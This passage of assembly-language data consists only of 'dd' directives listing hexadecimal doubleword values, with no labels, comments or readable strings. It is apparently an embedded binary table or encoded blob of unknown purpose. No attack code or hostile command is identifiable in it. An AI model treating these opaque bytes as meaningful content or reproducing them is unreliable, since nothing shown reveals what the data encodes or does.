		dd 0D101FF01h, 9010403h, 0EBFF132Dh, 17032D01h,	0FF192D09h
		dd 0FFA352D0h, 40354DEh, 192D0901h, 3254D3FFh, 91703B8h
		dd 32A50B19h, 170353FFh, 19196E09h, 0E0Bh, 1181400h, 0E0B09h
		dd 18140000h, 0E0B0901h, 0BB0000h, 46823000h, 28000061h
		dd 61301400h, 14000000h, 0ED57FF09h, 9060000h, 0FF142508h
		dd 57FF3F69h, 37E0E03h,	3AFFA013h, 0A00104DCh, 1A0010Fh
		dd 0FF0164A0h, 7030AC1h, 1540h,	0C1FF5000h, 0D3FF3A0Ah
		dd 0A0AA03CFh, 0AC1FF50h, 3F69FF17h, 7B39FFh, 61600E00h
		dd 50000000h, 3A0AC1FFh, 3E3AFFFh, 21688FFh, 0C93AFF05h
		dd 50A00104h, 3A0AC1FFh, 0A403B3FFh, 0FCh, 50242D6h, 3906h
		dd 6801D700h, 16000061h, 0DC3AFF03h, 61680104h,	0F190000h
		dd 616801h, 681E4400h, 30000061h, 10A7A03h, 69FF1703h
		dd 61683Fh, 0FF065300h,	2A07F029h, 33B0142h, 616817h, 0FF743000h
		dd 0AAh, 0FD073B13h, 683F69FFh,	4000061h, 61680Ah, 0FFC67600h
		dd 0FF01AADCh, 61683F69h, 0A040000h, 6168h, 0DCFFC676h
		dd 6126h, 69FF0104h, 61683Fh, 78015300h, 30000000h, 73FCF752h
		dd 61220000h, 0A280000h, 3F29FF01h, 280000h, 6000507h
		dd 0A6100409h, 0C15F0205h, 0FF405D2Dh, 80922EC6h, 4E0000EDh
		dd 7405h, 9D06FFF4h, 5280FF47h,	2042F2Eh, 5214405h, 0FF813075h
		dd 5206903Bh, 2042F2Eh,	5210605h, 70FF0502h, 55BD1FFh
		dd 0CEFF2E08h, 6479D0Fh, 0B839FF10h, 750C020Fh,	5206036Ch
		dd 0DA158313h, 4051716h, 4CBB502h, 0C1024A02h, 306D7A2Dh
		dd 903BFF30h, 12BC1204h, 16D21105h, 0F302B517h,	24A0C02h
		dd 6D7A2DC1h, 3BFF3030h, 0BC120490h, 0BCE60512h, 0FF110502h
		dd 204030Ch, 0B5020405h, 4A0204CBh, 7A2DC102h, 0FF30306Dh
		dd 1204903Bh, 110512BCh, 4037BFFh, 0F302B502h, 24A0C02h
		dd 6D7A2DC1h, 3BFF3030h, 0BC120490h, 0BCE60512h, 18400502h
		dd 5505020Fh, 24A0204h,	6D7A2DC1h, 3BFF3030h, 0BC120490h
		dd 19400512h, 2B50204h,	4A0C02F3h, 172DC102h, 270512BCh
		dd 903BFF30h, 4094D2FFh, 7BB556h, 5020400h, 13521004h
		dd 17520683h, 6DC1024Ah, 0FF10D1FFh, 1204D329h,	80C12BCh
		dd 0C0204C6h, 24A0204h,	0D1FF2DC1h, 0D531FF10h,	0E131FF06h
		dd 0F050227h, 2F35F02h,	0FFA4C1FFh, 12BC5AD0h, 4C6080Ch
		dd 38FF0C02h, 6D7A0317h, 0C1120502h, 10D8FF6Dh,	6D528FFh
		dd 8BDE30FFh, 12BC1204h, 4C6080Ch, 2040C02h, 2DC1024Ah
		dd 0FF10D1FFh, 0FF06D331h, 227ED31h, 5F020F05h,	0C1FF02F3h
		dd 5AD0FFA4h, 80C12BCh,	0C0204C6h, 48F3AFFh, 0C1124A12h
		dd 10D8FF6Dh, 8BD728FFh, 12BC1204h, 4C6080Ch, 2040C02h
		dd 6DC1024Ah, 4EEFF13h,	0C12BC12h, 204C608h, 0B502040Ch
		dd 0FF02F302h, 0A4C1h, 2BC0204h, 100C020Ch, 0FF4CFF5Ah
		dd 0AD4E03AFh, 4050205h, 4B40502h, 5024A02h, 0FF30306Dh
		dd 0FF40903Bh, 24A5A0Ah, 9029FF05h, 0D23AFF35h,	10064715h
		dd 0FF7B020Ah, 1F1AF339h, 60B7F07h, 0AE1F4509h,	3D9FF76h
		dd 195910FFh, 80079BFFh, 48F8EFFh, 0D9FF0710h, 0E218FFE2h
		dd 15B11FFh, 3EA518FFh,	0AE30FF06h, 325BDEFFh, 0D211FFAEh
		dd 3AFF97FFh, 82FF540Dh, 4E39FF87h, 5907B603h, 60B7F07h
		dd 0AE1F4509h, 0FF88C1FFh, 7BFFD0DDh, 8F8EFF80h, 2F2E1004h
		dd 4050204h, 0DC0A0502h, 24A1703h, 4A120405h, 2C050512h
		dd 0FF5A28FFh, 0B81ADEC1h, 4A020415h, 0D1FF0502h, 12041AFBh
		dd 505124Ah, 5A28FF2Ch,	1ADEC1FFh, 124ACD2Ch, 4A020405h
		dd 0DDFF0502h, 88C1FF48h, 24A0204h, 4A120405h, 24A0512h
		dd 4A120405h, 512h, 0FF479D00h,	2F2E5280h, 4050204h, 0DC0A0502h
		dd 24A1703h, 4A120405h,	0DDFF0512h, 88C1FF48h, 24A0204h
		dd 4A120405h, 2C050512h, 0FF5A28FFh, 2C1ADEC1h,	5124ACDh
		dd 24A0204h, 0FF2C0505h, 0C1FF5A28h, 15B81ADEh,	24A0204h
		dd 41AF905h, 5124A12h, 405024Ah, 5124A12h, 9D000000h, 7000D47h
		dd 445A0759h, 600001Dh,	25100409h, 5A075907h, 0CECEFFh
		dd 9060000h, 7591004h, 0FF1A8F31h, 0AAFF3339h, 3090603h
		dd 0FF05020Fh, 20FD511h, 4D6838Fh, 0F302B502h, 0ACDDFF02h
		dd 5B29FF02h, 1294D3FFh, 45929FFh, 0FF024A02h, 5BE5B29h
		dd 5929FF12h, 0FC39FF15h, 0E03AFFFh, 5020502h, 2F99DDFFh
		dd 29FF0204h, 1B342199h, 4A020419h, 5B29FF02h, 1294D3FFh
		dd 45929FFh, 0FF024A02h, 5BE5B29h, 5929FF12h, 639FF15h
		dd 20E0321h, 31050205h,	0DDFF0205h, 2541A52h, 5020F31h
		dd 6ED539FFh, 6032126h,	39FF0609h, 0FF020FD5h, 0D68352DDh
		dd 2B50204h, 0DDFF02F3h, 5B002ACh, 2041F05h, 29FF024Ah
		dd 1205BE5Bh, 45929FFh,	0FF024A02h, 2B45B29h, 29FF1205h
		dd 603AFF59h, 99DDFF02h, 0FF02042Fh, 34219929h,	204191Bh
		dd 5050205h, 4A02041Fh,	5B29FF02h, 0FF1205BEh, 2045929h
		dd 29FF024Ah, 502B45Bh,	5929FF12h, 2623AFFh, 5418DDFFh
		dd 0D0D1FF42h, 0FF02F2FFh, 0D9FF02B6h, 0C81A1916h, 0FF020473h
		dd 0FF1916D9h, 0FF412FD9h, 0FF1916D9h, 8F02A7DDh, 0FF8F0298h
		dd 8CFFD1C5h, 80FF4712h, 58C1FF80h, 0AC20204h, 0A612041Ah
		dd 0FF1904C2h, 3105EAC1h, 891C5FFh, 10C1FF8Eh, 311204E3h
		dd 0E6D2C5FFh, 0FF058EA6h, 20FEE31h, 120D1B05h,	20F2A7Fh
		dd 5BB29FFh, 0EAC1FF02h, 2EC1FF05h, 3E920759h, 7000309h
		dd 0FF920705h, 8F56A88Dh, 1F16262Ah, 294D2FFh, 5FAC1FFh
		dd 91C1FF21h, 2A8F5607h, 9060Bh, 160A5A07h, 236061Fh, 0F52C1FFh
		dd 3AC1FF02h, 0C1FF0700h, 2A8F562Eh, 409060Bh, 0C1FF5610h
		dd 52D2FF10h, 20FEEFFh,	0DDFF5F5Fh, 20F2A5Ch, 502F705h
		dd 0FFADB015h, 1575D929h, 36339FFh, 0FF060906h,	1626C911h
		dd 0DDFF171Fh, 60B2A52h, 0FFAD0209h, 130581D9h,	6BBDDFFh
		dd 6EC111FFh, 609060Bh,	26C911FFh, 59071F03h, 0C5FF5A07h
		dd 90603D1h, 4C720725h,	4090603h, 0C22E0510h, 5020F19h
		dd 0FD511FFh, 2F35F02h,	12A2C1FFh, 7C4456h, 124A1703h
		dd 45929FFh, 0FF1A0502h, 0D9FF3910h, 170300F4h,	29FF124Ah
		dd 5AD0FF59h, 10FF1A05h, 0F4C1FF39h, 124A1703h,	0FF5929FFh
		dd 1A055AD3h
		dd 2A3910FFh, 1703007Ch, 29FF124Ah, 3AD2FF59h, 479D53FFh
		dd 0FF071006h, 60B5CDDh, 55B0409h, 5F021A19h, 190CA631h
		dd 6758DDFFh, 2F229FFh,	0FF12BF0Ch, 2C0DA21h, 512046Bh
		dd 0F06FF74h, 31FF0502h, 51204D6h, 0B0020591h, 55F0205h
		dd 1204680Ch, 0FF5C21FFh, 39FF6687h, 0FF9E6758h, 1204DD31h
		dd 0C538FF9Eh, 67020F8Bh, 20502F1h, 2F221FFh, 0FF12BF05h
		dd 2C0DA29h, 0FF5A69FFh, 0FF0CA10Ah, 1204C031h,	20C910Ch
		dd 67020CCEh, 490050Ch,	0FF61F212h, 5F911E1Fh, 0C731FF96h
		dd 0FF961204h, 0F8BDB38h, 2E85F02h, 29FF020Ch, 0BF0C02F2h
		dd 0DA21FF12h, 11FF02C0h, 0DEFF055Ah, 50204ADh,	5910512h
		dd 205B002h, 90C055Fh, 0FBD0FF32h, 0FF56FF8Ch, 67020F96h
		dd 0DD31FF9Eh, 0FF9E1204h, 0F8BC538h, 2F16702h,	21FF0205h
		dd 0BF0502F2h, 0DA29FF12h, 0CE602C0h, 0F4C97FFh, 31FF0C02h
		dd 0C1204C0h, 0CE020C91h, 0C67020Ch, 0FF324F05h, 0FFCFD0D0h
		dd 5F021C97h, 0C731FF96h, 0FF961204h, 0F8BDB38h, 2E85F02h
		dd 29FF020Ch, 0BF0C02F2h, 0DA21FF12h, 5CD02C0h,	2B330A1h
		dd 91051205h, 5B00205h,	0C055F02h, 0D0FF3251h, 0F043C7Eh
		dd 0FF9E6702h, 1204DD31h, 0C538FF9Eh, 67020F8Bh, 20502F1h
		dd 2F221FFh, 0FF12BF05h, 2C0DA29h, 0C5A09FFh, 2E8AFFh
		dd 0FF0C020Fh, 1204C031h, 20C910Ch, 67020CCEh, 3241050Ch
		dd 0FF6FD0FFh, 5F02588Dh, 0C731FF96h, 0FF961204h, 0F8BDB38h
		dd 2E85F02h, 29FF020Ch,	0BF0C02F2h, 0DA21FF12h,	31FF02C0h
		dd 0C0FF055Ah, 0FF050241h, 1204D631h, 2059105h,	5F0205B0h
		dd 32200C05h, 0A142D0FFh, 9E67021Ch, 4DD31FFh, 38FF9E12h
		dd 20F8BC5h, 502F167h, 0F221FF02h, 12BF0502h, 0C0DA29FFh
		dd 5A39FF02h, 0A8FFFB0Ch, 0FF0C020Fh, 1204C031h, 20C910Ch
		dd 67020CCEh, 3210050Ch, 0FFF0D0FFh, 20F65D9h, 31FF965Fh
		dd 961204C7h, 8BDB38FFh, 0E85F020Fh, 0FF020C02h, 5F02F221h
		dd 0BF2621FFh, 4680C12h, 0CB7C0512h, 5020F80h, 4D431FFh
		dd 5910512h, 205B002h, 0FF12BF05h, 2C0DA29h, 5C21FFE6h
		dd 9162FF19h, 0FF9E0204h, 1204D831h, 0C638FF9Eh, 67020F8Bh
		dd 20502F1h, 2F229FFh, 2629FF67h, 410512BFh, 80D0FF32h
		dd 31FF0C02h, 0C1204DFh, 0CE020C91h, 0BF0C020Ch, 0DA21FF12h
		dd 46B02C0h, 7BFFF212h,	5838FF6Dh, 31FF965Fh, 961204C5h
		dd 8BDD38FFh, 0E85F020Fh, 0FF020C02h, 5F02F221h, 0BF2621FFh
		dd 32090C12h, 58CD0FFh,	4D431FFh, 5910512h, 205B002h, 0FF12BF05h
		dd 2C0DA29h, 0FF5A09FFh, 82FF5C21h, 58D3FFC5h, 31FF9E67h
		dd 9E1204D8h, 8BC638FFh, 0F167020Fh, 0FF020502h, 6702F229h
		dd 0BF2629FFh, 32100512h, 0FF50D0FFh, 0C020F70h, 4DF31FFh
		dd 0C910C12h, 20CCE02h,	0FF12BF0Ch, 2C0DA21h, 0F25A11FFh
		dd 0FF2A19FFh, 20F3602h, 31FF965Fh, 961204C5h, 8BDD38FFh
		dd 0E85F020Fh, 0FF020C02h, 5F02F221h, 0BF2621FFh, 32510C12h
		dd 0EA37D0FFh, 5020FC9h, 4D431FFh, 5910512h, 205B002h
		dd 0FF12BF05h, 2C0DA29h, 0FF5A39FFh, 7FF5C21h, 0FE6FF2Fh
		dd 0FF9E6702h, 1204D831h, 0C638FF9Eh, 67020F8Bh, 20502F1h
		dd 2F229FFh, 2629FF67h,	900512BFh, 0FF0C1204h, 0C0204DCh
		dd 0C910C12h, 20CCE02h,	0FF12BF0Ch, 2C0DA21h, 0FFBDF2CDh
		dd 0FF96948Bh, 1204C531h, 0DD38FF96h, 5F020F8Bh, 20C02E8h
		dd 2F221FFh, 2621FF5Fh,	200C12BFh, 0D4D0FF32h, 0FF3238FFh
		dd 0FF050278h, 1204D431h, 2059105h, 50205B0h, 29FF12BFh
		dd 0FF02C0DAh, 29FF5A69h, 9E020572h, 4D831FFh, 38FF9E12h
		dd 20F8BC6h, 502F167h, 0F229FF02h, 29FF6702h, 512BF26h
		dd 0D0FF324Fh, 0BED3FF08h, 120C0204h, 20C910Ch,	0C020CCEh
		dd 21FF12BFh, 0FF02C0DAh, 76F25A31h, 0F0AB45Eh,	0FF965F02h
		dd 1204C531h, 0DD38FF96h, 5F020F8Bh, 20C02E8h, 2E229FFh
		dd 3209020Ch, 293D0FFh,	0D531FF05h, 91051204h, 5B00205h
		dd 0E229FF02h, 0FF120C02h, 80445C21h, 9E020484h, 4DA31FFh
		dd 38FF9E12h, 20F8BC4h,	502F167h, 0E221FF02h, 41020502h
		dd 0F3D0FF32h, 0BCFFB0FFh, 0C120C02h, 0CE020C91h, 21FF020Ch
		dd 120502E2h, 0E9DDFFF2h, 20F34FFh, 31FF965Fh, 961204C6h
		dd 8BD838FFh, 0E85F020Fh, 0FF020C02h, 0C02E229h, 12046802h
		dd 6F3BFF05h, 0FF05020Fh, 1204D531h, 2059105h, 0FF0205B0h
		dd 0C02E229h, 5C21FF12h, 0FFF78FFh, 9E67589Ah, 4DA31FFh
		dd 38FF9E12h, 20F8BC4h,	502F167h, 0E221FF02h, 4F020502h
		dd 81D0FF32h, 31FF0C02h, 0C1204C1h, 0CE020C91h,	21FF020Ch
		dd 120502E2h, 5F0218F2h, 0C631FF96h, 0FF961204h, 0F8BD838h
		dd 2E85F02h, 29FF020Ch,	20C02E2h, 0D0FF3220h, 0D0AFFF17h
		dd 5020F63h, 4D531FFh, 5910512h, 205B002h, 2E229FFh, 21FF120Ch
		dd 0F62BFF5Ch, 20F70FFh, 31FF9E67h, 9E1204DAh, 8BC438FFh
		dd 0F167020Fh, 0FF020502h, 502E221h, 12049002h,	2514C0Ch
		dd 910C120Ch, 0CCE020Ch, 0E221FF02h, 0F2120502h, 21A2711h
		dd 31FF965Fh, 961204C6h, 8BD838FFh, 0E85F020Fh,	0FF020C02h
		dd 0C02E229h, 0FF325102h, 1FFE8D0h, 5020405h, 5910512h
		dd 205B002h, 2E229FFh, 21FF120Ch, 0FF34FF5Ch, 20F370Ah
		dd 31FF9E67h, 9E1204DAh, 8BC438FFh, 0F167020Fh,	0FF020502h
		dd 502E221h, 0FF321002h, 0FF6929D0h, 0C020F73h,	4C131FFh
		dd 0C910C12h, 20CCE02h,	2E221FFh, 52F21205h, 5F020F9Fh
		dd 0C631FF96h, 0FF961204h, 0F8BD838h, 2E85F02h,	21FF020Ch
		dd 29FFCD26h, 6B0CE6DAh, 0FF051204h, 20CE4F3h, 91051205h
		dd 5B00205h, 29FF05CDh,	4F02C0E2h, 46D0FF32h, 20FFBB4h
		dd 31FF9E67h, 9E1204DBh, 8BC738FFh, 0F167020Fh,	0FF020502h
		dd 0FFCD2629h, 5E6DA21h, 0C5A39FFh, 0C87EF2FFh,	31FF0C02h
		dd 0C1204DEh, 0CE020C91h, 0FF0CCD0Ch, 2C0E221h,	0D0FF3209h
		dd 20581E8h, 0C431FF96h, 0FF961204h, 0F8BDA38h,	2E85F02h
		dd 21FF020Ch, 29FFCD26h, 0FF0CE6DAh, 0FF055A31h, 2048A88h
		dd 91051205h, 5B00205h,	29FF05CDh, 9002C0E2h, 21FF1204h
		dd 674FAB5Ch, 0DB31FF9Eh, 0FF9E1204h, 0F8BC738h, 2F16702h
		dd 29FF0205h, 21FFCD26h, 0FF05E6DAh, 0C0C5A09h,	0DE31FF0Ch
		dd 910C1204h, 0CCE020Ch, 21FF0CCDh, 6802C0E2h, 0FFF21204h
		dd 2048C00h, 0C431FF96h, 0FF961204h, 0F8BDA38h,	2E85F02h
		dd 21FF020Ch, 29FFCD26h, 0CD0CE6DAh, 7BAFFF05h,	0FF05020Fh
		dd 1204D731h, 2059105h,	5CD05B0h, 0C0E229FFh, 0FF321002h
		dd 71EB31D0h, 67020F1Dh, 0DB31FF9Eh, 0FF9E1204h, 0F8BC738h
		dd 2F16702h, 29FF0205h,	21FFCD26h, 0E605E6DAh, 0D0FFFB0Ch
		dd 0FF0C0272h, 1204DE31h, 20C910Ch, 0CCD0CCEh, 0C0E221FFh
		dd 0FF322002h, 0D9FF70D0h, 0FF96029Fh, 1204C431h, 0DA38FF96h
		dd 5F020F8Bh, 20C02E8h,	0CD2621FFh, 0E6DA29FFh,	5A11FF0Ch
		dd 0FFAFFF05h, 5022682h, 4D731FFh, 5910512h, 0CD05B002h
		dd 0E229FF05h, 324102C0h, 0FFE4D0FFh, 0F1EEB23h, 0FF9E6702h
		dd 1204DB31h, 0C738FF9Eh, 67020F8Bh, 20502F1h, 0CD2629FFh
		dd 0E6DA21FFh, 5A69FF05h, 6FF6AFFh, 0C020FB4h, 4DE31FFh
		dd 0C910C12h, 0CD0CCE02h, 0E221FF0Ch, 325102C0h, 0FF40D0FFh
		dd 583AFF57h, 31FF965Fh, 961204C4h, 8BDA38FFh, 0E85F020Fh
		dd 31020C02h, 0FF94D2FFh, 1A315AD0h, 1AA65F02h,	24A3102h
		dd 3131080Ch, 0A66702BCh, 5418DDFFh, 0FF831352h, 204C13Ah
		dd 0AD020405h, 0F35F021Ah, 0A2C1FF02h, 176DC102h, 6DC112BCh
		dd 10D0FFA8h, 8BD930FFh, 12BC1204h, 0FFA86DC1h,	30FF10D3h
		dd 12048BC1h, 6DC112BCh, 10D2FFA8h, 8BC930FFh, 1A051204h
		dd 54763AFFh, 21D1FF05h, 29262215h, 0C4FF0015h,	7AE18F1h
		dd 15290805h, 0F1C4FF00h, 507AE18h, 0FF004608h,	4718CDC4h
		dd 118280FFh, 0AE11D9AEh, 0D9AE11D9h, 11D9AE11h, 0AE11D9AEh
		dd 0D9AE11D9h, 0F03AE11h, 11D90502h, 11AE11AEh,	0FFAE11AEh
		dd 0E3D9211Ah, 18FFAE68h, 0DCFFD921h, 0D1FF0861h, 21BFFD2h
		dd 0D9211BFFh, 87DC4FFh, 0FF02D1FFh, 19FFD211h,	0D21AFF02h
		dd 0FF021AFFh, 0C0FF5018h, 2D1FFD3h, 0FFD213FFh, 0FFD9211Bh
		dd 0FF0869C4h, 0FFD921D1h, 0FF0865DCh, 0E3D921D1h, 0AE11AE6Bh
		dd 82FF479Dh, 39FF0087h, 0AE11D98Eh, 0D9FF122Bh, 9003FFE2h
		dd 5494D2FFh, 1D3A39FFh, 39FF0000h, 0FFB6FFE3h,	11D921D1h
		dd 128CFFAEh, 8782FF47h, 0C439FF00h, 0D1FFB6FFh, 0AE11D921h
		dd 8F8EFF03h, 9F1004h, 2239FF00h, 21D1FFD1h, 3AE11D9h
		dd 48F8EFFh, 1D7610h, 39FF00h, 21D1FFD1h, 0FFAE11D9h, 10048F8Eh
		dd 7705A64Bh, 0B339FFCBh, 2050512h, 0D539FF05h,	0DDFF020Fh
		dd 8F02413Ah, 0FFD2779Bh, 0FF12A639h, 20459D9h,	291D9FFh
		dd 0FF99DDFFh, 21541831h, 851A079Bh, 2A210612h,	2A024Bh
		dd 7002A07h, 1D1FFF72h,	20E0000h, 0FF7705B0h, 870700F3h
		dd 39C1FF07h, 0E00001Dh, 0FF5AD0FFh, 50291D9h, 4093AFFh
		dd 1829FF02h, 8782FF54h, 7F39FFh, 5907B600h, 60B7F07h
		dd 0E004509h, 30151708h, 7BD1FF03h, 8F8EFF2Ch, 6C31004h
		dd 6AE29FFh, 42F2E52h, 2040502h, 6005024Ah, 20415B8h, 8505024Ah
		dd 124A1708h, 0FF479D05h, 6C35A80h, 6AE29FFh, 42F2E52h
		dd 2040502h, 6005024Ah,	20415B8h, 8505024Ah, 124A1708h
		dd 0FF479D05h, 815A969h, 185C17h, 3090600h, 185C0204h
		dd 0FF0E0000h, 461A1B38h, 9C010A03h, 185C0220h,	2040D3Eh
		dd 1611185Ch, 7D038C7Dh, 0D113FF6Bh, 10A0D03h, 0B0000E1h
		dd 0E2050906h, 3821105h, 88053906h, 9C01059Ch, 3059C05h
		dd 0FF15D221h, 0A042D0Bh, 0DCFF059Ch, 0FF000045h, 0DBFF1C3Ah
		dd 30010AB9h, 60B001Ch,	7921FF09h, 0B001C22h, 39FF0906h
		dd 1C2279h, 1009060Bh, 1C8C01h,	2009060Bh, 2C1BFF01h, 9060B00h
		dd 1C227B7Eh, 9060B00h,	0E2012B03h, 20390505h, 1040D2Ah
		dd 0C112027h, 2A200918h, 2027010Fh, 2701040Dh, 3C0C1120h
		dd 5613B2FFh, 0F3C2027h, 15202701h, 350C1120h, 20090603h
		dd 0FF1CEFFh, 0D202701h, 20270104h, 0FF730C11h,	275613B3h
		dd 27011A20h, 1040D20h,	0C112027h, 56B312FFh, 11A2027h
		dd 40D2027h, 11202701h,	0B3FFDC0Ch, 20275613h, 2027011Ah
		dd 2701040Dh, 0DE0C1120h, 11A2009h, 20152027h, 8BFF0C11h
		dd 202756B3h, 275889FFh, 1040D20h, 0C112027h, 20B3C7FFh
		dd 27010F70h, 11201520h, 603110Ch, 27A62009h, 1040D20h
		dd 0C112027h, 56B010FFh, 11A2027h, 20152027h, 0FF6B0C11h
		dd 275613B0h, 27011A20h, 1040D20h, 0C112027h, 702009A0h
		dd 2027010Fh, 104E205h,	0C112027h, 56B086FFh, 1052027h
		dd 5E22027h, 6E0000E1h,	0C11320Ah, 56B0DBFFh, 5E22027h
		dd 22162027h, 20270105h, 7FF0C11h, 27561382h, 275B1620h
		dd 1040D20h, 0C112027h,	906037Bh, 58DBFF20h, 40D2027h
		dd 11202701h, 1382690Ch, 0BE202756h, 27202701h,	270C7E20h
		dd 10F2A20h, 20270C43h,	5C020C9Ch, 6000018h, 2040309h
		dd 185Ch, 0CB3AFF0Eh, 10A0315h,	5C02209Ch, 0FF473E18h
		dd 8159D69h, 11185C17h,	38C7D16h, 13FF6B7Dh, 0A0D03D1h
		dd 39FF0501h, 1C0996h, 70C1E06h, 37EFF11h, 2040D0Dh, 185Ch
		dd 0D030906h, 40C010Ah,	185C02h, 11090600h, 37BBEFFh, 5C02040Dh
		dd 6000018h, 0A0D0309h,	2040C01h, 185Ch, 0FF110906h, 29B1FECEh
		dd 5C02040Dh, 6000018h,	0A0D0309h, 2040C01h, 185Ch, 73110906h
		dd 12D7A58h, 6000050h, 27E139FFh, 2C29FF01h, 0FF665300h
		dd 227E139h, 860FF05h, 185C17h,	3090600h, 0C010A0Dh, 185C0204h
		dd 9060000h, 4658CF11h,	185C1708h, 9060000h, 10A0D03h
		dd 5C02040Ch, 6000018h,	89FF1109h, 0D0D03D3h, 185C0204h
		dd 9060000h, 10A0D03h, 5C02040Ch, 6000018h, 582A1109h
		dd 0FF012D7Ah, 6002C29h, 0FFD429FFh, 530354DEh,	0DFFF0105h
		dd 0D0D03D0h, 0C27010Ah, 8C08FFh, 5010C14h, 0DFFF010Ah
		dd 60B0024h, 2B036C09h,	11FF0C01h, 0A001CB1h, 941132h
		dd 0FF09060Bh, 10A65C1h, 5139FF3Eh, 0FF090603h,	2C2265D9h
		dd 60B0000h, 65D9FF09h,	2C22h, 0FF09060Bh, 2C2265D9h, 60B0000h
		dd 0FF016609h, 2603h, 309060Bh,	0C27010Ah, 185C02h, 3090600h
		dd 29089A00h, 0C27010Ah, 185C02h, 3090600h, 2C29FF53h
		dd 29FF0600h, 2D9307D4h, 0FF530502h, 6002C29h, 0FFD529FFh
		dd 0D0354DEh, 68010A0Dh, 0B000073h, 2B030906h, 0A0D0C01h
		dd 0EBFF01h, 9060B00h, 10A001Ch, 0FF010A05h, 0FF0C0CF3h
		dd 0DDFFB439h, 880C3252h, 32010C32h, 0FF0C320Ch, 815CECEh
		dd 10C3217h, 0E40CF3FFh, 13D18DFFh, 0FF3ADDFFh,	2208BB1Ah
		dd 8DC0FF0Ch, 68010A0Dh, 6E000073h, 9B539FFh, 98211004h
		dd 204D666h, 5020405h, 0FFDE15CBh, 124ABA88h, 0FFC60805h
		dd 38FF023Ah, 21060358h, 2EAEC1FFh, 0B502042Fh,	0FF02F302h
		dd 0FF3AA2DDh, 4ADE0CFCh, 5B29FF12h, 0C66AD1FFh, 0FF023AFFh
		dd 2049F3Ah, 0FF15B20Ch, 22725D0h, 2DDE21FFh, 0BA21FF02h
		dd 0FFF2C1FFh, 405D6AD0h, 124ADE51h, 4C6080Ch, 3AFF0C02h
		dd 29585467h, 5A070015h, 6000081h, 6001C09h, 0FF1B051Eh
		dd 70552D8h, 38FF352Fh,	0D0D031Ch, 0FFDC39FFh, 1C1FD18Ah
		dd 0FF1E0600h, 4B002C29h, 39FF0000h, 0FBCBh, 3DD6557h
		dd 2C29FF17h, 0FF190400h, 0C1FF52DDh, 0FF140054h, 0D002C29h
		dd 1D15h, 1C09060Bh, 0C140000h,	0E101h,	39FF0026h, 0B207h
		dd 1C0906h, 10C0104h, 231B00F0h, 77FF0514h, 14B60000h
		dd 2C29FFh, 35BA39FFh, 0FFCC3AFFh, 514503Ah, 0B600006Ch
		dd 2C29FF14h, 9C39FF00h, 1089D0FFh, 5A86FF03h, 8C6B0CA6h
		dd 10A2908h, 0B0000A9h,	240906h, 890Bh,	39FF0026h, 0B2E9h
		dd 0C6080906h, 57EEFF05h, 1D5C11FFh, 22FF0000h,	6A81C87Ah
		dd 0FF10C608h, 1D5C11h,	5206C800h, 2F39FF13h, 99130000h
		dd 290000h, 0B2AB0C14h,	510E0000h, 10A03F9h, 142D39FFh
		dd 86A0Ch, 24090600h, 0FF1E0600h, 2B31h, 2448h,	4CFF1107h
		dd 10A032Fh, 45000099h,	60B0000h, 6002409h, 2B09FF1Eh
		dd 994B0000h, 0FF450000h, 58DDFFBFh, 7201E20h, 6A20018Ah
		dd 1D2208h, 0BFFF4500h,	9FF1459h, 0FF00002Bh, 4E39h, 4101414Eh
		dd 37088C11h, 2423633h,	0A0D0D05h, 0A901h, 2409060Bh, 890B00h
		dd 0FF002600h, 191B39h
		dd 90600h, 41010400h, 37088C11h, 1423633h, 2F39FFh, 0D031600h
		dd 0A9010A0Dh, 60B0000h, 0B002409h, 26000089h, 0BB39FF00h
		dd 6000009h, 0FF1E0521h, 2F39h,	104004Bh, 88C1141h, 0D363337h
		dd 0A9010A0Dh, 60B0000h, 0B002409h, 26000089h, 0D139FF00h
		dd 6000019h, 4000009h, 8C114101h, 36333708h, 10A0D0Dh
		dd 0B0000A9h, 240906h, 890Bh, 39FF0026h, 600007Bh, 4000009h
		dd 8C114101h, 36333708h, 10A0D0Dh, 0B0000A9h, 240906h
		dd 890Bh, 39FF0026h, 985h, 11410104h, 3337088Ch, 0A0D0D36h
		dd 0A901h, 2409060Bh, 890B00h, 0FF002600h, 0EFFF2F39h
		dd 9060000h, 1040000h, 88C1141h, 0D363337h, 0A9010A0Dh
		dd 60B0000h, 0B002409h,	26000089h, 7939FF00h, 9060000h
		dd 1040000h, 88C1141h, 0FF363337h, 0A03D13Bh, 10A4F01h
		dd 0FF010A51h, 2B11h, 0FF010A28h, 2B19h, 14000D28h, 6034C20h
		dd 2B11FF09h, 81FF0000h, 0FF0000DEh, 0DE81h, 0DE81FFh
		dd 1D224500h, 60B0000h,	7C002409h, 0D1FF0300h, 0D931FF10h
		dd 0FF4F0A04h, 0FF032E30h, 10FFDAD1h, 1D4681h, 9060B00h
		dd 10A2908h, 0B0000A9h,	240906h, 890Bh,	39FF0026h, 9060074h
		dd 1040000h, 14FF1141h,	0FF363337h, 0D0D037Fh, 0FFEF39FFh
		dd 241FD184h, 0FF1E0600h, 0FF112B69h, 1503D28Bh, 2B69FF14h
		dd 13D184FFh, 69FF1459h, 0D185FF2Bh, 1500001Fh,	2B69FF14h
		dd 13D184FFh, 69FF1459h, 0D185FF2Bh, 0D00001Fh,	0A9010A0Dh
		dd 60B0000h, 0B002409h,	26000089h, 0F39FF00h, 6000064h
		dd 4000009h, 0FF114101h, 36333714h, 3F95184h, 0A9010Ah
		dd 9060B00h, 890B0024h,	260000h, 5539FFh, 3090600h, 1D15h
		dd 4339FF28h, 9060000h,	1E060024h, 48002468h, 7000024h
		dd 2958B211h, 0D039FF0Dh, 1FD185FFh, 1E060024h,	4B00009Fh
		dd 9F1446h, 3B39FF00h, 6D182FFh, 0FF002409h, 4E036D39h
		dd 1500246Bh, 9F14h, 0FF1739FFh, 906D182h, 39FF0024h, 0F50375h
		dd 246B14h, 10A0D0Dh, 0B0000A9h, 240906h, 890Bh, 39FF0026h
		dd 600004Dh, 0FF002409h, 0D0D8D39h, 0A9010Ah, 9060B00h
		dd 890B0024h, 260000h, 98539FFh, 1040000h, 14FF1141h, 0FF363337h
		dd 0D0D030Ch, 0A9010Ah,	9060B00h, 890B0024h, 260000h, 0EBFFA9h
		dd 1D0906h, 39FF2800h, 0FF32A585h, 0D290353h, 0A9010Ah
		dd 9060B00h, 890B0024h,	260000h, 7039FFh, 0FF090600h, 3A083A09h
		dd 528AFFh, 0A00240Eh, 14000501h, 0D00007Bh, 39FF0D0Dh
		dd 30985h, 0FF2E089Ah, 1043A82h, 14FF1141h, 0D363337h
		dd 0A9010A0Dh, 60B0000h, 0B002409h, 26000089h, 0D939FF00h
		dd 600EBFFh, 0A290809h,	0A901h,	2409060Bh, 890B00h, 0FF002600h
